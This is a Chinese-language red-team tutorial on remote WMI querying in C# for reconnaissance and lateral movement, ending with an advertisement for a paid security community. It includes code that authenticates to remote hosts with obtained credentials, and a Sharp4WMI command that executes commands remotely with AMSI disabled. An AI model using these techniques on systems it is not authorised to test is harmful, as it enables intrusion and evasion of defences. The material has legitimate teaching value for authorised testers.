此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面。
在红队渗透测试中,WMI 是实现横向移动和信息收集的重要工具。通过 .NET 提供的 ObjectQuery、ManagementScope 等类,攻击者能够在不借助额外代理的情况下,远程查询目标系统的详细信息。
这种方法利用 WMI 的合法功能,通过 DCOM 协议与目标主机通信,不仅可以收集操作系统、网络配置等关键数据,还能进一步辅助漏洞利用和权限提升。在本文中,我们将从红队视角深入探讨如何高效利用这三类对象实现远程 WMI 查询。
ObjectQuery 类表示 WMI 查询语言(WQL)语句,用于从 WMI 数据存储中检索管理信息,是执行 WMI 查询的基础对象。
WQL(Windows Query Language)语法类似于 SQL,用于查询 WMI 对象。例如
ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
ManagementObjectSearcher 用于执行 WMI 查询并返回结果。它结合 ObjectQuery 或直接接受查询字符串来检索数据。
例如:ManagementObjectSearcher(string query) 接受一个 WQL 查询字符串。
ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Processor");
foreach (ManagementObject obj in searcher.Get())
{
Console.WriteLine($"处理器名称: {obj["Name"]}");
}
ManagementScope 定义 WMI 操作的作用域。默认情况下,作用域为本地计算机,但可以指定远程计算机或自定义命名空间。
例如:ManagementScope(string scopePath) 接受一个 WMI 命名空间路径,例如 "\\root\\cimv2"
ManagementScope scope = new ManagementScope("\\\\RemoteComputer\\root\\cimv2");
scope.Connect();
在红队渗透测试中,WMI 同样是实现横向移动的重要技术之一。下面从红队的视角,结合代码详细剖析如何通过 WMI 实现远程查询,为后续操作奠定基础。
ManagementScope 指定目标计算机和命名空间。在横向移动中,这通常是远程主机的 IP 或主机名(如 192.168.1.100),以及常见的 root\cimv2 命名空间。
ManagementScope scope = new ManagementScope(string.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
scope.Connect();
通过连接远程管理范围,红队可以使用受控账户访问目标系统的信息。
在默认配置下,代码中通过 ConnectionOptions 设置凭据,使用目标系统的合法账号进行认证。
options.Username = username;
options.Password = password;
在获取到 NTLM 哈希或凭据后,红队可以使用已知账户实现横向移动。
使用 ObjectQuery 创建 WMI 查询语句,例如获取操作系统信息(SELECT * FROM Win32_OperatingSystem)或网络适配器信息(SELECT * FROM Win32_NetworkAdapter)
收集目标系统的操作系统版本、IP 地址、补丁状态等,用于识别漏洞或制定下一步攻击策略。ObjectQuery query = new ObjectQuery(wmiQuery);
ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);
ManagementObjectCollection data = searcher.Get();
遍历 ManagementObjectCollection 中的每个结果,提取属性信息并打印。例如,可以提取目标系统的版本号、主机名或服务状态。
foreach (ManagementBaseObject managementBaseObject in data)
{
ManagementObject result = (ManagementObject)managementBaseObject;
foreach (PropertyData prop in result.Properties)
{
Console.WriteLine($"{prop.Name} : {prop.Value}");
}
}
提取信息后可进行后续操作,如针对特定操作系统执行漏洞利用。假设我们已经获取了目标主机 192.168.1.100 的管理员凭据并希望获取其操作系统版本以评估可用的漏洞利用工具。
操作系统版本为 Windows 10 Pro 19044,可能存在 SMB 漏洞(如 EternalBlue)。string wmiQuery = "SELECT * FROM Win32_OperatingSystem";
//运行结果
Scope: \\192.168.1.100\root\cimv2
User credentials: admin
Caption : Microsoft Windows 10 Pro
OSArchitecture : 64-bit
Version : 10.0.19044
BuildNumber : 19044
Sharp4WMI 是一个基于.NET实现的内网横向移动工具,利用WMI进行远程命令执行、文件上传、环境变量操作等。该工具可绕过Windows防护机制ASMI并返回执行结果,适用于高级持久性威胁和红队活动。
Sharp4WMI提供了多种功能,通过命令行参数指定不同的操作。以下是一些常用的命令及其功能介绍。
Sharp4WMI总共提供10余种横向移动的命令,比如终止目标进程、上传文件、列出主机进程等等。比如,在内网远程计算机上192.168.101.86执行cmd命令。
Sharp4WMI.exe action=exec username="ivan1ee" password="123456" computername=192.168.101.86 command="whoami" result=true amsi=disable
综上,通过 WMI,红队可以轻松实现远程系统信息收集、命令执行和持久化,是横向移动的重要技术手段之一。然而,这种技术同样容易被检测和防御。文章涉及的工具已经打包在星球,感兴趣的师傅们可以加入自取。
星球文化始终认为授人以鱼不如授人以渔!星球整理出 20+ 个专题栏目涵盖 .NET安全 点、线、面、体等知识范围,助力师傅们实战攻防!其中主题包括.NET 内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。
截至当前,dot.Net安全矩阵星球社区汇聚了 600+ 个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面,在实战中能够发挥显著作用,为对抗突破提供强有力的支持。
我们还有多个成员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!